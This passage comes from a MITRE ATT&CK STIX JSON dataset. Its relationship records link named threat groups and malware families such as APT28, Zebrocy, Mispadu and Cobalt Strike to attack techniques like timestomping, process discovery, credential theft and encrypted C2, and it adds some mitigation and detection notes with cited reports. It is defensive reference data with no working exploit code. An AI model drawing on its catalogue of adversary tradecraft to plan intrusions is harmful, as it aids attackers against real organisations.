processes.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684", "type": "relationship", "created": "2017-05-31T21:33:27.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike DNC June 2016", "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}], "modified": "2019-12-20T14:26:00.476Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed timestomping on victim files.(Citation: Crowdstrike DNC June 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1039ed0e-216f-4eef-9a7e-c4eaa3ca0152", "type": "relationship", "created": "2021-03-08T14:10:51.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:09.139Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use <code>DirectoryList</code> to enumerate files in a specified directory.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--103c7d1d-f240-4a56-84de-8b20289f2ee2", "created": "2024-01-02T13:45:28.152Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Conditional Access Policy Changes", "description": "Microsoft. (2023, October 23). Troubleshooting Conditional Access policy changes. Retrieved January 2, 2024.", "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/troubleshoot-policy-changes-audit-log"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T00:14:14.677Z", "description": "Monitor for changes made to security settings related to Azure AD Conditional Access Policies. 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Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}], "modified": "2020-03-20T18:02:42.353Z", "description": "C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.(Citation: Kaspersky Sofacy)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1040d9b9-96a4-4bea-9e8a-543befd50ebd", "created": "2023-10-03T14:53:34.805Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. 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(2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.", "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}, {"source_name": "Metabase Q Mispadu Trojan 2023", "description": "Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.", "url": "https://www.metabaseq.com/mispadu-banking-trojan/"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-15T19:47:54.347Z", "description": "[Mispadu](https://attack.mitre.org/software/S1122) can steal credentials from Google Chrome.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)", "relationship_type": "uses", "source_ref": "malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--104334fa-4d32-48ab-a55d-c481ce7c4cd3", "type": "relationship", "created": "2020-06-22T20:34:05.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}], "modified": "2020-10-22T01:34:58.157Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455)'s C2 communication has been encrypted using OpenSSL.(Citation: Medium Metamorfo Apr 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--10435dca-baee-420a-a2b3-b13209e2d96a", "created": "2023-09-20T18:24:54.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. 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This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--10514be7-2dcb-4e70-a579-e1e1e6c2d900", "created": "2023-02-10T18:38:05.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T15:06:17.751Z", "description": "[SVCReady](https://attack.mitre.org/software/S1064) can search for the `HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System` Registry key to gather system information.(Citation: HP SVCReady Jun 2022)", "relationship_type": "uses", "source_ref": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1051f320-91fa-4f89-8abe-a851a56e18a7", "type": "relationship", "created": "2019-01-30T18:39:48.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Cannon Nov 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."}, {"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "source_name": "Unit42 Sofacy Dec 2018"}, {"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}, {"description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "source_name": "Accenture SNAKEMACKEREL Nov 2018"}], "modified": "2019-07-17T01:18:32.842Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses the <code>tasklist</code> and <code>wmic process get Capture, ExecutablePath</code> commands to gather the processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--105550a6-3e85-4286-a4de-f7d0d68380ed", "created": "2024-03-25T20:49:06.892Z", "revoked": false, "external_references": [{"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T20:49:06.892Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerates cloud environments to identify server and backup management infrastructure, resource access, databases and storage containers.(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1057a87e-4ae4-4317-b655-0fab5a17e7e2", "type": "relationship", "created": "2021-01-04T15:58:47.110Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearkSky Fox Kitten February 2020", "url": "https://www.clearskysec.com/fox-kitten/", "description": "ClearSky. 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Retrieved January 4, 2021."}], "modified": "2021-04-20T20:03:26.933Z", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1058a1db-b8c5-47d0-b9ac-3178018f1542", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--105a37da-145b-4143-8641-566350cd143c", "type": "relationship", "created": "2020-11-25T22:46:47.615Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2020-11-25T22:46:47.615Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has scanned network infrastructure for vulnerabilities as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "FireEye EPS Awakens Part 2", "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing directory listings.(Citation: FireEye EPS Awakens Part 2)", "modified": "2022-07-26T23:33:26.357Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--10625b4c-7ecc-49a0-b8e3-c9f2d8cba2da", "type": "relationship", "created": "2020-03-10T18:33:36.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-30T17:42:41.259Z", "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lotus Blossom Dec 2015", "description": "Falcone, R. and Miller-Osborn, J.. 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Retrieved August 11, 2021."}], "modified": "2021-10-12T12:56:04.653Z", "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) can execute commands via the command line shell.(Citation: Trend Micro Ransomware February 2021)", "relationship_type": "uses", "source_ref": "malware--f931a0b9-0361-4b1b-bacf-955062c35746", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--10806c6b-100d-456b-bb05-62d90713be64", "type": "relationship", "created": "2019-01-29T20:05:36.483Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust NanoCore Jan 2017", "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/", "description": "The DigiTrust Group. (2017, January 01). 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(2017, September 15).  HackTool:Win32/Gsecdump. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.631Z", "description": "[Okrum](https://attack.mitre.org/software/S0439)'s loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1095b9e8-2849-40c2-b56f-f6bc9d4bc648", "type": "relationship", "created": "2021-08-12T14:55:37.749Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sogeti CERT ESEC Babuk March 2021", "url": "https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf", "description": "Sogeti. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:51:49.479Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) includes a capability to modify the Beacon payload to eliminate known signatures or unpacking methods.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--10b32db9-57a8-4baa-b540-3d26f9c7137b", "type": "relationship", "created": "2022-03-08T19:16:59.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. 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IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can identify processes via C# methods such as <code>GetProcessesByName</code> and running [Tasklist](https://attack.mitre.org/software/S0057) with the Python <code>os.popen</code> function.(Citation: Unit 42 IronNetInjector February 2021 )", "modified": "2022-05-20T17:02:59.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--10bb2d06-6158-4cf2-bd35-0840a8e0a129", "created": "2023-03-29T16:10:39.220Z", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T16:10:39.220Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can collect a list of services on a victim machine.(Citation: Lunghi Iron Tiger Linux)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--10bb3d29-fe7d-49a4-a03b-ba1f78993af8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", "description": "Ivanov, A. et al. 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[APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.(Citation: FireEye APT28)(Citation: Bitdefender APT28 Dec 2015)(Citation: DOJ GRU Indictment Jul 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--10cf6efc-6415-4a80-834a-565057e76474", "type": "relationship", "created": "2021-01-28T15:40:53.412Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. 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Retrieved June 17, 2021."}], "modified": "2021-06-22T15:32:10.320Z", "description": "(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "malware--434ba392-ebdc-488b-b1ef-518deea65774", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--10e6a721-82f0-42a3-b454-da5e338c59f7", "created": "2023-06-02T15:29:30.516Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-02T15:29:30.516Z", "description": "Limit which users are allowed to access compute infrastructure via cloud native methods.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--10e7df4a-c95d-4b85-b044-84649fe3a6d1", "created": "2023-01-17T22:14:55.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Costa AvosLocker May 2022", "description": "Costa, F. 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(2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. 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(2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-12T20:29:10.746Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used PowerShell for execution and privilege escalation.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11087b2c-2d00-4a57-a974-045010c7bab5", "created": "2023-09-08T15:49:52.794Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:35:22.981Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has collected names and passwords of all Wi-Fi networks to which a device has previously connected.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--110e76f2-815d-4eb0-986f-f6a9905ce640", "type": "relationship", "created": "2020-03-02T14:22:24.902Z", "created_by_ref": 